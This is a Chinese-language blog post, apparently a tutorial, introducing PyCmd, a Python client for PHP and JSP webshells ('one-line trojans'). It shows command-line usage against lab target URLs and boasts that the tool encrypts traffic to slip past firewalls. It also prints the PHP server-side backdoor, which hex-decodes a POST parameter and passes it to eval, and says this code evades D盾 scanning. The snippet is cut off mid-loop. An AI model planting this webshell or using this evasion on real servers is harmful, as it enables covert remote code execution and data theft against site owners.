之前寫了一個基于python的一句話木馬客戶端程序,這個程序的作用大致就是為了繞過防護設備,使敏感數據能在網絡里自由穿梭。由于編程能力有限,當時以python程序作為客戶端,php代碼作為服務端,勉強能用,但是缺乏jsp的服務端,使之功能很局限。幸好有大神caomei相助,幫助實現了jsp端的代碼,故將兩者相結合,方便使用。
PyCmd適用環境
當服務器允許上傳任意文件,且對文件內容不進行審計檢查,但由于其網絡邊界有防火墻會攔截審計通信的數據。這時我們能成功上傳一句話木馬,然而連接菜刀的時候會出現500錯誤,此時可以使用pycmd工具,因為其會對互相通信的內容加密處理。
PyCmd使用
我這里準備了2個靶機,分別裝有php與jsp的運行環境,用來模擬真實的網站服務器。
為了方便,我已經把服務端木馬程序放到了服務器網站目錄下:
php網站木馬地址:10.0.3.13/test/p.php
jsp網站木馬地址:192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp
查看shell的情況:

此時,運行PyCmd.py程序:
python PyCmd.py -u http://10.0.3.13/test/p.php -p test [--proxy]
或者
python PyCmd.py -u http://192.168.10.149:8080/headgmp/upload/2017_07_13/11.jsp -p test [--proxy]

程序會自動判斷輸入的網站類型,這里是jsp類型的網站。
運行程序可輸入以下參數:
-h 查看幫助信息
-u 網站木馬地址
-p 木馬shell密碼
–proxy 開啟本地代理(方便調試)
注:當開啟本地調試,需運行Fiddler程序,或者其他抓包軟件。
PyCmd數據加密
PyCmd程序的長處在于它對往來的數據進行了加密,可以繞過防火墻對數據內容的校驗。
當執行cmd命令時,通過Fiddler抓包查看數據:

查看回報信息:

PyCmd木馬隱身
用D盾掃描上傳的木馬服務端文件,顯示為正常文件,成功躲過查殺(2016.9.18日檢測結果)
這里演示php木馬查殺:
$string=”;
$password=’test’;
if(isset($_POST[$password])){
$hex=$_POST[$password];
for($i=0;$i
$string.=chr(hexdec($hex[$i].$hex[$i+1]));
}
@eval($string);
}else{
echo “This is a Test!”;
|